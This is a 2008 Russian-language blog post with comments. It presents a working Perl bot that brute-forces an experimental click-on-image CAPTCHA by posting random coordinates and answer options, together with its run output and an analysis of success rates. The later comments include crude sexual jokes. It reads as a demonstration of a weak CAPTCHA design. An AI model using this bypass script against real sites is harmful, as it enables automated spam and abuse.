07 Мая, 2008

Убил очередную надежду человечества


Ето я так после статьи в Ъ подумал, и после этого

а посуществу вопроса так:
Новый вариант теста тьюринга, и как его проходит написаный за полчаса на коленке бот:

@alego ~$ ./imagecrack.pl
Picture path: outfiles/tile_pic_12101687605768.jpg
337x403 - Found (2)!
Distorted picture path: outfiles/distorted_pic_12101687645770.jpg
1 - Found (1)!

@alego ~$ ./imagecrack.pl
Picture path: outfiles/tile_pic_12101687707474.jpg
355x214 - Found (8)!
Distorted picture path: outfiles/distorted_pic_12101687768265.jpg
15 - Found (15)!

@alego ~$ ./imagecrack.pl
Picture path: outfiles/tile_pic_12101687902300.jpg
482x380 - Found (4)!
Distorted picture path: outfiles/distorted_pic_12101687947397.jpg
3 - Found (3)!

@alego ~$ ./imagecrack.pl
Picture path: outfiles/tile_pic_12101688015580.jpg
675x338 - Found (1)!
Distorted picture path: outfiles/distorted_pic_12101688052686.jpg
10 - Found (10)!

@alego ~$ ./imagecrack.pl
Picture path: outfiles/tile_pic_12101693022674.jpg
404x153 - Found (5)!
Distorted picture path: outfiles/distorted_pic_12101693077510.jpg
14 - Found (14)!

@alego ~$ ./imagecrack.pl
Picture path: outfiles/tile_pic_12101693352794.jpg
420x463 - Found (1)!
Distorted picture path: outfiles/distorted_pic_12101693385386.jpg
11 - Found (11)!

в скобках количество попыток прохождения теста. Первый тест вообще проходится не с вероятностью 1/120 как я предположил ранее а гдето 1/20.



#!/usr/bin/perl -w
#(c) Alego;
use strict;
use LWP;

my $server="http://www.alipr.com/captcha/";

my $ua = LWP::UserAgent->new;
$ua->agent("Hey humans! I am a bot, and I am pass u tests");

my $res = $ua->get($server);
my @array=split(/
/, $res->content);
my $str;
my $picture;
foreach $str (@array){
if ($str=~m/img1.src[^"]*"([^"]*)"/){
$picture=$1;
print "Picture path: $1
";
last;
}
}

#lets start check random values xD;
my $x;
my $y;
my $status=undef;
my $counter=0;
while (not $status){
$counter++;
#center any image could't be in border;
$x = 100 + int rand 600;
$y = 100 + int rand 400;
$res = $ua->post("$server"."process.php", , [x => $x , y=> $y,debug => 'false', source=>'image_center', img=>$picture], 'referer'=>$server);
if (not $res->header('Location')=~m/fail/){
print $x."x".$y;
print " - Found ($counter)!
";
last;
}
}

#second test

$res = $ua->get($server."index2.php");
@array=split(/
/, $res->content);

foreach $str (@array){
if ($str=~m/img1.src[^"]*"([^"]*)"/){
$picture=$1;
print "Distorted picture path: $1
";
last;
}
}


my $content;
# you allready have 15 option in form, so:
for ($counter=1;$counter<16;$counter++){
$content=$counter;
$res = $ua->post("$server"."process.php", , [source => 'false', source=>'image_content', img=>$picture,content=>$content], 'referer'=>$server);
if (not $res->header('Location')=~m/fail/){
print $content;
print " - Found ($counter)!
";
last;
}
}

print "
";

#thank for you time.
#Good Luck.

1;

Уже 16, написали |


чо тут то ложить, в хабр запости...
или SEOшнику какому

я нифига не понимаю, чо ты написал, но если это так то на мерсе покатаешь...
Алего, картинка не хранится целиком на сервере, а собирается из нескольких и в процессе передачи сливается в единую, что-ли?
А, нет.
Ты берешь папку с картинками и сам их сливаешь в одну?
Я про первый тест говорю.
Картинка на сервере генерится, полностью, из нескольких, я не знаю как они это делают, но естественно используют кеши, заготовки, скачивать картинку в текушем варианте теста не надо, скрипты этого не проверяют, если проверка такая и будет, то можно было бы и добавить, но просто для вида

288606703tile_pic_12101801998275.jpg

Красные круги - это место кликнув на которое я прохожу тест, я беру случайную точку в зеленом прямоугольнике, потомучто центр картинки будет на краю в очень редком случае, на этом рисунке есть но не весь. Хотя размер области можно и увеличить.

и имитируею запрос к серверу, сервер говорит попал ли я или нет, если не попал то беру другую точку, опять же картинка не удаляется после неверного ввода, но всегда можно скачать новую(результат будет тот же).

Области красных кругов кажутся маленькими, потомучто я не знаю радиус валидного клика, меньше 10 он быть не может человеку попасть просто не реально, я поставил 50, но тесты показали что это значение больше.

Результаты количество запросов для прохождения: 1/18/30 min/avg/max

Подобный тест тьюринга, на самом деле менее защишен от тупого перебора, в отличии от аналогов с вводом цифр букв, на пример для капчи из трех цифр это 1000 вариантов, для гуглевой капчи около 30 милионов
и еще метод тупого перебора практически не требует ресурсов процессорных, на какое либо опознание, он требует только хороший канал связи, на 128Кб, бот проходит оба теста за 2-5 секунды, но ведь всегда можно написать много поточный ассинхронный скрипт.
Снимаю шляпу.
Только не пойму, почему не перерисовывается картинка после POST?

Снимаю шляпу.
Только не пойму, почему не перерисовывается картинка после POST?
как я понял, они просто пока не хотят грузить сервер, ради теста, но по сути это не меняет ситуации, просто прйдется делать еще один запрос, для получения нового урла. а в какую картинку тыкать значения не имеет, плюс еще посмотрел на рисунок можно и среднюю область исключить , там тоже центров нету, думаю тогда можно добится 30-40% прохождения
*чувствую себя как таракан на симпозиуме*
Бармен на йузерпике шляпу таг и не снял.
П.с. Ребята, вы же взрослые мужчины! Давайте лучше про пизду?
Интелка
Аюшки?
нащот перла вроде нормально
но коменты на английском - песдетц
оценко за программо - 3.
интел превед кревед!
и ещё вазник вапрос, был ли афтар знаком с женсчинами? хоть раз? гы гы
Превед Хытрый.
Каг твой циклобатон междуножный поживает?
Бугага!
:-))))
(Отлично) :)

Ограничение доступа

Вы не зарегистрированы или не вошли в систему.